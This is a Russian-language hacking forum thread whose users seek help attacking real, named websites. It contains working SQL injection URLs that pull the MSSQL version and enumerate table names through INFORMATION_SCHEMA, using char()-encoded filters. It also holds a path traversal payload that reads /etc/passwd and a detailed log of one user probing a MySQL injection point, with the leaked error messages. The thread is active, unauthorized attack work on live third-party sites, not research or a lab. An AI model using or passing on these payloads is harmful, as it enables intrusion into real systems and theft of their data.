ANTICHAT — форум по информационной безопасности, OSINT и технологиям

http://milw0rm.com/search.php wordpress

__________________
Появляюсь редко. Важные дела в реале.

Ребят помогите развести вот такую тему че то дальше не смог никуда пойти.

http://www.asipartner.com/pr.asp?ID=78+or+1=@@version--

'Microsoft SQL Server 2005 - 9.00.3068.00 (Intel X86) Feb 26 2008 18:15:01 Copyright (c) 1988-2005 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)

http://www.asipartner.com/pr.asp?ID=78+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+IN FORMATION_SCHEMA.TABLES)--

ExpireNewSKU
http://www.asipartner.com/pr.asp?ID=781+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+I NFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+( char(69)%2Bchar(120)%2Bchar(112)%2Bchar(105)%2Bcha r(114)%2Bchar(101)%2Bchar(78)%2Bchar(101)%2Bchar(1 19)%2Bchar(83)%2Bchar(75)%2Bchar(85)))--

QUESTIONS
http://www.asipartner.com/pr.asp?ID=781+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+I NFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+( char(69)%2Bchar(120)%2Bchar(112)%2Bchar(105)%2Bcha r(114)%2Bchar(101)%2Bchar(78)%2Bchar(101)%2Bchar(1 19)%2Bchar(83)%2Bchar(75)%2Bchar(85),char(81)%2Bch ar(85)%2Bchar(69)%2Bchar(83)%2Bchar(84)%2Bchar(73) %2Bchar(79)%2Bchar(78)%2Bchar(83)))--

ANSWERS

и т.д. https://forum.antichat.ru/thread30501.html

здраствуйте
отправили меня в этот топик
вот сдаюсь

помогите пожалуйста
http://www.pitchsidemanager.com/club.php?stid=-1294'
http://www.pitchsidemanager.com/profile.php?smid=-1'
http://www.pitchsidemanager.com/player_profile.php?pid=-3406'

Вот:

а где тут скуль???

Наверно нужно быть зарегенным что-бы увидеть...



http://www.pitchsidemanager.com/new_player.php?ad=&step=../../../../../../../../etc/passwd%00

улыбнуло

Спасибо всем ! значит просто я поля не так подбирал ...

вот еще одна незадача.




motion-twin.com/blog/month?m=10001'

1. Когда подставляю -10001' ошибка не выползает , но что бы выползла - не получается

2. Если выполнить такой запрос -1'/* ошибка показывается вот с такой фишкой , где меняется дата

SELECT BlogEntry.* FROM BlogEntry LEFT JOIN BlogCategory ON BlogEntry.categoryId=BlogCategory.id WHERE hidden=0 AND isVisible=1 AND cdate >= '-1'/-*-01' AND cdate <= '-1'/-*-31' ORDER BY cdate DESC You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '*-01' AND cdate <= '-1'/-*-31' ORDER BY cdate DESC' at line 1


3 . Если убрать минус то получится 1'/* то выдает date.c(104) : Invalid date format : 1-00-01


4 .Попбробовал -1-00-01'/* Календарь показал :

Zero -1
Lu Ma Me Je Ve Sa Di
1 2 3 4

5. (если -10 то ивалид date , если -100,-200 etc то на календаре меняется Zero -100, -200)

6 . Все что ниже 10000 = ошибка

7. А вот когда делаю запрос m=999999'+order+by+1/*

на календаре теперь

null 9999
Lu Ma Me Je Ve Sa Di
1 2 3 4

(на заметку : отображаются только числа 1,2.3.4 на каледнаре из 31)

8 . Пробовал 25-02-05' или 25-02-05 для примера показывает February 25

9. когда -25-02-05 выдает date.c(104) : Invalid date format : -25-02-01

10 . когда 1'+order+by+1/* выдает ошибку где вместо 0000 видно такое

BlogEntry.categoryId=BlogCategory.id WHERE hidden=0 AND isVisible=1 AND cdate >= '1' o-rd-01' AND cdate <= '1' o-rd-31' ORDER BY


=